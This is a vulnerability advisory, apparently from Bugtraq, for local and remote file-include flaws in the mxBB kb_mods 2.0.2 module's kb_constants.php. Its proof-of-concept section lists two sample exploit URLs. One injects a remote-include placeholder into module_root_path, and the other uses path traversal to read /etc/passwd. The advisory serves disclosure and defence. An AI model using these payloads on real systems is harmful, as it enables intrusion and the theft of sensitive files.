MXBB KB_Mods Module KB_Constants.PHP Multiple File Include Vulnerabilities

BID:21577

Info

MXBB KB_Mods Module KB_Constants.PHP Multiple File Include Vulnerabilities

Bugtraq ID: 21577
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 13 2006 12:00AM
Updated: Dec 14 2006 04:18PM
Credit: Dr Max Virus is credited with the discovery of these vulnerabilities.
Vulnerable: mxBB kb_mods 2.0.2
Not Vulnerable:

Discussion

MXBB KB_Mods Module KB_Constants.PHP Multiple File Include Vulnerabilities

The mxBB kb_mods module is prone to a local file-include vulnerability and a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to gain access to sensitive information or to compromise the application and the underlying system; other attacks are also possible.

Version 2.0.2 is vulnerable to these issues; other versions may also be affected.

Exploit / POC

MXBB KB_Mods Module KB_Constants.PHP Multiple File Include Vulnerabilities

An attacker can exploit these issues via a web client.

The following sample exploits are available:

http://www.example.com/[path]/includes/kb_constants.php?module_root_path=Evil Code
http://www.example.com/[path]/includes/kb_constants.php?kb_constants.php&board_config[default_lang]=english&phpEx=../../../../../etc/passwd

Solution / Fix

MXBB KB_Mods Module KB_Constants.PHP Multiple File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

References

MXBB KB_Mods Module KB_Constants.PHP Multiple File Include Vulnerabilities

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